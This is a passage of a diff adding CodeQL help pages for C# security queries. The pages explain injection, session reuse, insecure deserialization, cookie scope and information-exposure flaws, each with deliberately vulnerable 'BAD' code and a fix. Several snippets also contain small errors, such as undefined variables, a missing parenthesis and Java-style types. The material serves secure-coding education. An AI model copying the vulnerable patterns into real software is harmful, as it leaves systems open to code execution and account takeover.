Update either the format or the arguments so that the expected type and sequence of arguments are passed to the function. + + +## Example + +```cpp +int main() { + printf("%s\n", 42); //printf will treat 42 as a char*, will most likely segfault + return 0; +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). +* MSDN Alphabetical Function Reference: [printf, wprintf](http://msdn.microsoft.com/en-us/library/wc7014hz%28VS.71%29.aspx). +* Common Weakness Enumeration: [CWE-686](https://cwe.mitre.org/data/definitions/686.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp.rst b/docs/language/query-help/csharp.rst new file mode 100644 index 00000000000..7bc55ad7f6b --- /dev/null +++ b/docs/language/query-help/csharp.rst @@ -0,0 +1,4 @@ +C# query help +============= + +.. include:: toc-csharp.rst \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDebug.md b/docs/language/query-help/csharp/ASPNetDebug.md new file mode 100644 index 00000000000..9c3bdce1820 --- /dev/null +++ b/docs/language/query-help/csharp/ASPNetDebug.md @@ -0,0 +1,56 @@ +# Creating an ASP.NET debug binary may reveal sensitive information + +``` +ID: cs/web/debug-binary +Kind: problem +Severity: warning +Precision: very-high +Tags: security maintainability frameworks/asp.net external/cwe/cwe-11 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-011/ASPNetDebug.ql) + +ASP.NET applications that deploy a 'debug' build to production can reveal debugging information to end users. This debugging information can aid a malicious user in attacking the system. The use of the debugging flag may also impair performance, increasing execution time and memory usage. + + +## Recommendation +Remove the 'debug' flag from the `Web.config` file if this configuration is likely to be used in production. + + +## Example +The following example shows the 'debug' flag set to true in a `Web.config` file for ASP.NET: + + +```none + + + + + ... + + +``` +This will produce a 'debug' build that may be exploited by an end user. + +To fix this problem, the 'debug' flag should be set to `false`, or removed completely: + + +```none + + + + + ... + + +``` + +## References +* MSDN: [Why debug=false in ASP.NET applications in production environment](https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/). +* MSDN: [How to: Enable Debugging for ASP.NET Applications](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx). +* Common Weakness Enumeration: [CWE-11](https://cwe.mitre.org/data/definitions/11.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDirectoryListing.md b/docs/language/query-help/csharp/ASPNetDirectoryListing.md new file mode 100644 index 00000000000..17c6cd89584 --- /dev/null +++ b/docs/language/query-help/csharp/ASPNetDirectoryListing.md @@ -0,0 +1,48 @@ +# ASP.NET config file enables directory browsing + +``` +ID: cs/web/directory-browse-enabled +Kind: problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-548 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-548/ASPNetDirectoryListing.ql) + +ASP.NET applications that enable directory browsing can leak sensitive information to an attacker. The precise nature of the vulnerability depends on which files are listed and accessible. + + +## Recommendation +If this configuration may be used in production, remove the `directoryBrowse` element from the `Web.config` file or set the value to false. + + +## Example +The following example shows the `directoryBrowse` `enable` attribute set to true in a `Web.config` file for ASP.NET: + + +```none + + + + + ... + + +``` +To fix this problem, the `enable` attribute should be set to `false`, or the `directoryBrowse` element should be removed completely: + + +```none + + + + + ... + + +``` + +## References +* MSDN: [directoryBrowse element](https://msdn.microsoft.com/en-us/library/ms691327(v=vs.90).aspx). +* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AbandonSession.md b/docs/language/query-help/csharp/AbandonSession.md new file mode 100644 index 00000000000..69d3e2b4a1f --- /dev/null +++ b/docs/language/query-help/csharp/AbandonSession.md @@ -0,0 +1,52 @@ +# Failure to abandon session + +``` +ID: cs/session-reuse +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-384 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-384/AbandonSession.ql) + +Reusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started. + + +## Recommendation +Always call `HttpSessionState.Abandon()` to ensure that the previous session is not used by the new user. + + +## Example +The following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account. + + +```csharp +public void Login(HttpContext ctx, string username, string password) +{ + if (FormsAuthentication.Authenticate(username, password) + { + // BAD: Reusing the previous session + ctx.Session["Mode"] = GetModeForUser(username); + } +} + +``` +This code example solves the problem by not reusing the session, and instead calling `Abandon()` to ensure that the session is not reused. + + +```csharp +public void Login(HttpContext ctx, string username, string password) +{ + if (FormsAuthentication.Authenticate(username, password) + { + // GOOD: Abandon the session first. + ctx.Session.Abandon(); + } +} + +``` + +## References +* MSDN: [ASP.NET Session State Overview](https://msdn.microsoft.com/en-us/library/ms178581.aspx), [HttpSessionState.Abandon Method ()](https://msdn.microsoft.com/en-us/library/system.web.sessionstate.httpsessionstate.abandon(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AssemblyPathInjection.md b/docs/language/query-help/csharp/AssemblyPathInjection.md new file mode 100644 index 00000000000..a3b87e7dc1c --- /dev/null +++ b/docs/language/query-help/csharp/AssemblyPathInjection.md @@ -0,0 +1,71 @@ +# Assembly path injection + +``` +ID: cs/assembly-path-injection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-114 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-114/AssemblyPathInjection.ql) + +C# supports runtime loading of assemblies by path through the use of the `System.Reflection.Assembly` API. If an external user can influence the path used to load an assembly, then the application can potentially be tricked into loading an assembly which was not intended to be loaded, and executing arbitrary code. + + +## Recommendation +Avoid loading assemblies based on user provided input. If this is not possible, ensure that the path is validated before being used with `Assembly`. For example, compare the provided input against a whitelist of known safe assemblies, or confirm that the path is restricted to a single directory which only contains safe assemblies. + + +## Example +In this example, user input is provided describing the path to an assembly, which is loaded without validation. This is problematic because it allows the user to load any assembly installed on the system, and is particularly problematic if an attacker can upload a custom DLL elsewhere on the system. + + +```csharp +using System; +using System.Web; +using System.Reflection; + +public class AssemblyPathInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string assemblyPath = ctx.Request.QueryString["assemblyPath"]; + + // BAD: Load assembly based on user input + var badAssembly = Assembly.LoadFile(assemblyPath); + + // Method called on loaded assembly. If the user can control the loaded assembly, then this + // could result in a remote code execution vulnerability + MethodInfo m = badAssembly.GetType("Config").GetMethod("GetCustomPath"); + Object customPath = m.Invoke(null, null); + // ... + } +} +``` +In the corrected version, user input is validated against one of two options, and the assembly is only loaded if the user input matches one of those options. + + +```csharp +using System; +using System.Web; +using System.Reflection; + +public class AssemblyPathInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string configType = ctx.Request.QueryString["configType"]; + + if (configType.equals("configType1") || configType.equals("configType2")) { + // GOOD: Loaded assembly is one of the two known safe options + var safeAssembly = Assembly.LoadFile(@"C:\SafeLibraries\" + configType + ".dll"); + + // Code execution is limited to one of two known and vetted assemblies + MethodInfo m = safeAssembly.GetType("Config").GetMethod("GetCustomPath"); + Object customPath = m.Invoke(null, null); + // ... + } + } +} +``` + +## References +* Microsoft: [System.Reflection.Assembly](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8). +* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CleartextStorage.md b/docs/language/query-help/csharp/CleartextStorage.md new file mode 100644 index 00000000000..dedc59ef949 --- /dev/null +++ b/docs/language/query-help/csharp/CleartextStorage.md @@ -0,0 +1,64 @@ +# Clear text storage of sensitive information + +``` +ID: cs/cleartext-storage-of-sensitive-information +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. For ASP.NET applications, the `System.Web.Security.MachineKey` class may be used to encode sensitive information. + +If possible, avoid placing sensitive information in cookies all together. Instead, prefer storing a key in the cookie that can be used to lookup the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are protected before storing them, using `MachineKey.Protect`, wrapped in a utility method. + + +```csharp +using System.Text; +using System.Web; +using System.Web.Security; + +public class CleartextStorageHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string accountName = ctx.Request.QueryString["AccountName"]; + // BAD: Setting a cookie value with cleartext sensitive data. + ctx.Response.Cookies["AccountName"].Value = accountName; + // GOOD: Encoding the value before setting it. + ctx.Response.Cookies["AccountName"].Value = Protect(accountName, "Account name"); + } + + ///

+ /// Protect the cleartext value, using the given type. + /// + /// + /// The protected value, which is no longer cleartext. + /// + public string Protect(string value, string type) + { + return Encoding.UTF8.GetString(MachineKey.Protect(Encoding.UTF8.GetBytes(value), type)); + } +} + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CodeInjection.md b/docs/language/query-help/csharp/CodeInjection.md new file mode 100644 index 00000000000..8d60a5b7122 --- /dev/null +++ b/docs/language/query-help/csharp/CodeInjection.md @@ -0,0 +1,75 @@ +# Improper control of generation of code + +``` +ID: cs/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-096 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-094/CodeInjection.ql) + +If the application dynamically compiles and runs source code constructed from user input, a malicious user may be able to run arbitrary code. + + +## Recommendation +It is good practice not to generate, compile and run source code constructed from untrusted user input. If code must be dynamically generated using user input, the user input should be validated to prevent arbitrary code from appearing in the input. For example, a whitelist may be used to ensure that the input is limited to an acceptable range of values. + + +## Example +In the following example, the HttpHandler accepts remote user input which is C# source code for calculating tax. It compiles and runs this code, returning the output. However, the user provided source code is entirely unvalidated, and therefore allows arbitrary code execution. + +If possible, the dynamic compilation should be removed all together, and replaced with a fixed set of tax calculation algorithms. If this is not sufficiently powerful, an interpreter could be provided for a safe, restricted language. + + +```csharp +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Reflection; +using System.Web; + +public class CodeInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + // Code for calculating tax is provided as unvalidated user input + string taxFormula = ctx.Request.QueryString["tax_formula"]; + // Used to create C# + StringBuilder sourceCode = new StringBuilder(""); + sourceCode.Append("public class TaxCalc {\n"); + sourceCode.Append("\tpublic int CalculateTax(int value){\n"); + sourceCode.Append("\t\treturn " + taxFormula + "; \n"); + sourceCode.Append("\t}\n"); + sourceCode.Append("}\n"); + + // BAD: This compiles the sourceCode, containing unvalidated user input + CSharpCodeProvider c = new CSharpCodeProvider(); + ICodeCompiler icc = c.CreateCompiler(); + CompilerParameters cp = new CompilerParameters(); + CompilerResults cr = icc.CompileAssemblyFromSource(cp, sourceCode.ToString()); + + // Compiled input is loaded, and an instance of the class is constructed + System.Reflection.Assembly a = cr.CompiledAssembly; + object taxCalc = a.CreateInstance("TaxCalc"); + + // Unsafe code is executed + Type taxCalcType = o.GetType(); + MethodInfo mi = type.GetMethod("CalculateTax"); + int value = int.Parse(ctx.Request.QueryString["value"]); + int s = (int)mi.Invoke(o, new object[] { value }); + + // Result is returned to the user + ctx.Response.Write("Tax value is: " + s); + } +} + +``` + +## References +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). +* Common Weakness Enumeration: [CWE-96](https://cwe.mitre.org/data/definitions/96.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CommandInjection.md b/docs/language/query-help/csharp/CommandInjection.md new file mode 100644 index 00000000000..f4dc530aeec --- /dev/null +++ b/docs/language/query-help/csharp/CommandInjection.md @@ -0,0 +1,45 @@ +# Uncontrolled command line + +``` +ID: cs/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. + + +```csharp +using System; +using System.Web; +using System.Diagnostics; + +public class CommandInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string param = ctx.Request.QueryString["param"]; + Process.Start("process.exe", "/c " + param); + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ConditionalBypass.md b/docs/language/query-help/csharp/ConditionalBypass.md new file mode 100644 index 00000000000..a4c1b1997f1 --- /dev/null +++ b/docs/language/query-help/csharp/ConditionalBypass.md @@ -0,0 +1,54 @@ +# User-controlled bypass of sensitive method + +``` +ID: cs/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-807 external/cwe/cwe-247 external/cwe/cwe-350 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-807/ConditionalBypass.ql) + +Many C# constructs enable code statements to be executed conditionally, for example, `if` statements and `for` statements. If the statements contain important authentication or login code, and user-controlled data determines whether or not the code is executed, an attacker may be able to bypass security systems. + + +## Recommendation +Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. + +It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. + + +## Example +This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. + + +```csharp +public boolean doLogin(HttpCookie adminCookie, String user, String password) +{ + + // BAD: login is executed only if the value of 'adminCookie' is 'false', + // but 'adminCookie' is controlled by the user + if (adminCookie.Value == "false") + return login(user, password); + + return true; +} + +public boolean doLogin(HttpCookie adminCookie, String user, String password) +{ + // GOOD: use server-side information based on the credentials to decide + // whether user has privileges + bool isAdmin = queryDbForAdminStatus(user, password); + if (!isAdmin) + return login(user, password); + + return true; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-247](https://cwe.mitre.org/data/definitions/247.html). +* Common Weakness Enumeration: [CWE-350](https://cwe.mitre.org/data/definitions/350.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md new file mode 100644 index 00000000000..e4e5f072a3f --- /dev/null +++ b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md @@ -0,0 +1,55 @@ +# Cookie security: overly broad domain + +``` +ID: cs/web/broad-cookie-domain +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-287 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadDomain.ql) + +This rule finds cookies with an overly broad domain. Cookies with an overly broad domain, such as ".mybank.com", can be accessed by all web applications deployed on this domain and its sub-domains. A cookie with sensitive data, but with too broad a domain, could hence be read and tampered with by a less secure and untrusted application. + + +## Recommendation +Precisely define the domain of the web application for which this cookie is valid. + + +## Example +In this example `cookie1` is accessible from online-bank.com. `cookie2` is accessible from ebanking.online-bank.com and any subdomains of ebanking.online-bank.com. + + +```csharp +class CookieWithOverlyBroadDomain +{ + static public void AddCookie() + { + HttpCookie cookie1 = new HttpCookie("sessionID"); + cookie1.Domain = "online-bank.com"; + + HttpCookie cookie2 = new HttpCookie("sessionID"); + cookie2.Domain = ".ebanking.online-bank.com"; + } +} + +``` +In the following example `cookie` is only accessible from ebanking.online-bank.com which is much more secure. + + +```csharp +class CookieWithOverlyBroadDomainFix +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Domain = "ebanking.online-bank.com"; + } +} + +``` + +## References +* MSDN: [HttpCookie.Domain Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.domain.aspx). +* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md new file mode 100644 index 00000000000..f5c5ebf4066 --- /dev/null +++ b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md @@ -0,0 +1,52 @@ +# Cookie security: overly broad path + +``` +ID: cs/web/broad-cookie-path +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-287 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadPath.ql) + +This rule finds cookies with an overly broad path. Cookies with an overly broad path, such as the root context path ("/"), can be accessed by all web applications on the same domain name. A cookie with sensitive data, but with too broad a path, could hence be read and tampered by a less secure and untrusted application. + + +## Recommendation +Precisely define the path of the web application for which this cookie is valid. + + +## Example +In this example the cookie will be accessible to all applications regardless of their path. Most likely some of these applications are less secure than others and do not even need to access the same cookies. + + +```csharp +class CookieWithOverlyBroadPath +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Path = "/"; + } +} + +``` +In the following example the cookie is only accessible to the web application at the "/ebanking" path. + + +```csharp +class CookieWithOverlyBroadPathFix +{ + static public void AddCookie() + { + HttpCookie cookie = new HttpCookie("sessionID"); + cookie.Path = "/ebanking"; + } +} + +``` + +## References +* MSDN: [HttpCookie.Path Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.path.aspx). +* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/DeserializedDelegate.md b/docs/language/query-help/csharp/DeserializedDelegate.md new file mode 100644 index 00000000000..1192e1d9e07 --- /dev/null +++ b/docs/language/query-help/csharp/DeserializedDelegate.md @@ -0,0 +1,44 @@ +# Deserialized delegate + +``` +ID: cs/deserialized-delegate +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/DeserializedDelegate.ql) + +Deserializing a delegate object may result in remote code execution, when an attacker can control the serialized data. + + +## Recommendation +Avoid deserializing delegate objects, if possible, or make sure that the serialized data cannot be controlled by an attacker. + + +## Example +In this example, a file stream is deserialized to a `Func` object, using a `BinaryFormatter`. The file stream is a parameter of a public method, so depending on the calls to `InvokeSerialized`, this may or may not pose a security problem. + + +```csharp +using System; +using System.IO; +using System.Runtime.Serialization.Formatters.Binary; + +class Bad +{ + public static int InvokeSerialized(FileStream fs) + { + var formatter = new BinaryFormatter(); + // BAD + var f = (Func)formatter.Deserialize(fs); + return f(); + } +} + +``` + +## References +* Microsoft: [BinaryFormatter Class](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md new file mode 100644 index 00000000000..6acdeda8fe3 --- /dev/null +++ b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md @@ -0,0 +1,22 @@ +# Empty password in configuration file + +``` +ID: cs/empty-password-in-configuration +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-258 external/cwe/cwe-862 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql) + +The use of an empty string as a password in a configuration file is not secure. + + +## Recommendation +Choose a proper password and encrypt it if you need to store it in the configuration file. + + +## References +* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html). +* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/Encryption using ECB.md b/docs/language/query-help/csharp/Encryption using ECB.md new file mode 100644 index 00000000000..69104e226d9 --- /dev/null +++ b/docs/language/query-help/csharp/Encryption using ECB.md @@ -0,0 +1,22 @@ +# Encryption using ECB + +``` +ID: cs/ecb-encryption +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/Encryption%20using%20ECB.ql) + +ECB should not be used as a mode for encryption. It has dangerous weaknesses. Data is encrypted the same way every time meaning the same plaintext input will always produce the same cyphertext. This makes encrypted messages vulnerable to replay attacks. + + +## Recommendation +Use a different CypherMode. + + +## References +* Wikipedia, Block cypher modes of operation, [Electronic codebook (ECB)](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExceptionInformationExposure.md b/docs/language/query-help/csharp/ExceptionInformationExposure.md new file mode 100644 index 00000000000..51ea01dea38 --- /dev/null +++ b/docs/language/query-help/csharp/ExceptionInformationExposure.md @@ -0,0 +1,65 @@ +# Information exposure through an exception + +``` +ID: cs/information-exposure-through-exception +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-209/ExceptionInformationExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by calling `ToString()`, and writing it to the response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```csharp +using System; +using System.Web; + +public class StackTraceHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + doSomeWork(); + } + catch (Exception ex) + { + // BAD: printing a stack trace back to the response + ctx.Response.Write(ex.ToString()); + return; + } + + try + { + doSomeWork(); + } + catch (Exception ex) + { + // GOOD: log the stack trace, and send back a non-revealing response + log("Exception occurred", ex); + ctx.Response.Write("Exception occurred"); + return; + } + } +} + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureInTransmittedData.md b/docs/language/query-help/csharp/ExposureInTransmittedData.md new file mode 100644 index 00000000000..5121bb86a7b --- /dev/null +++ b/docs/language/query-help/csharp/ExposureInTransmittedData.md @@ -0,0 +1,66 @@ +# Information exposure through transmitted data + +``` +ID: cs/sensitive-data-transmission +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-201 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-201/ExposureInTransmittedData.ql) + +Transmitting sensitive data to the user is a potential security risk. Always ensure that transmitted data is intended for the user. For example, passwords and the contents of database exceptions are generally not appropriate to send to the user, as they reveal information that could be abused or exploited. + + +## Recommendation +Avoid transmitting passwords or exceptions to the user. Instead, create a more user-friendly message that does not contain potentially sensitive information. Technical errors should be written to a log file. + + +## Example +The following example shows the user password being sent back to the user. + + +```csharp +public class Handler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + ... + } + catch (AuthenticationFailure ex) + { + ctx.Response.Write("Invalid password: " + password); + } + } +} + +``` +The following example shows a database exception being sent to the user. Exceptions can often contain unnecessary technical or sensitive information that should not be seen by the user. + + +```csharp +public class Handler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + try + { + ... + } + catch (DbException ex) + { + ctx.Response.Write("Database error: " + ex.Message); + } + } +} + +``` + +## References +* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure). +* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md new file mode 100644 index 00000000000..0415e8b7fc4 --- /dev/null +++ b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md @@ -0,0 +1,44 @@ +# Exposure of private information + +``` +ID: cs/exposure-of-sensitive-information +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-359/ExposureOfPrivateInformation.ql) + +Private information that is stored in an external location may be more vulnerable because that location may not be protected by the same access controls as other parts of the system. + +Examples include log files, cookies and plain text storage on disk. + + +## Recommendation +Ensure that private information is only stored in secure data locations. + + +## Example +The following example shows some private data - an address - being passed to a HTTP handler. This private information is then stored in a log file. This log file on disk may be accessible to users that do not normally have access to this private data. + + +```csharp +using System.Text; +using System.Web; +using System.Web.Security; + +public class PrivateInformationHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string address = ctx.Request.QueryString["Address1"]; + logger.Info("User has address: " + address); + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedConnectionString.md b/docs/language/query-help/csharp/HardcodedConnectionString.md new file mode 100644 index 00000000000..428b6e87a5d --- /dev/null +++ b/docs/language/query-help/csharp/HardcodedConnectionString.md @@ -0,0 +1,78 @@ +# Hard-coded connection string with credentials + +``` +ID: cs/hardcoded-connection-string-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedConnectionString.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data 